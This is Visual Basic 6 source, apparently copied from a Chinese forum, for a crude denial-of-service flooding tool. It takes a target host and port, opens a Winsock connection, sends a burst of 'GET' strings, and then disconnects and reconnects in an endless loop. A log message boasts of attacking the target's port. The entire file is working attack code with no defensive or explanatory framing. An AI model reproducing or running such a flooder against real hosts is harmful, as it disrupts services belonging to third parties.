Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)
Private Sub Command1_Click()
Close LocalPort
If Text4.Text < 470 Then
MsgBox "延时不得小于470毫秒!"
Else
Winsock.RemoteHost = Text1.Text
Winsock.RemotePort = Text2.Text
Winsock.LocalPort = Text3.Text
Winsock.Connect
End If
End Sub
Private Sub Command2_Click()
Winsock.Close
Sleep 500
Winsock.Close
List1.AddItem "连接已断开!"
End Sub
Private Sub Command3_Click()
Text3.Text = Int((65535 - 1000 + 1) * Rnd + 1000)
End Sub
Private Sub Form_Load()
Winsock.RemoteHost = Text1.Text
Winsock.RemotePort = Text2.Text
Winsock.LocalPort = Text3.Text
End Sub
Private Sub Form_Unload(Cancel As Integer)
Call Command2_Click
End Sub
Private Sub Winsock_Connect()
For i = 0 To 73
Winsock.SendData "GET" '提交GET请求
Next i
List1.AddItem "Winsock成功对" & Winsock.RemoteHost & "的" & Text2.Text & "端口进行了精卫填海般的攻J。"
Winsock.Close
Sleep Text4.Text
Winsock.Close
Winsock.Connect
End Sub
Private Sub Winsock_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean)
List1.AddItem "连接出错,自动断开!错误代码:" & Number
Winsock.Close
End Sub
{:soso__3090564613677044120_4:}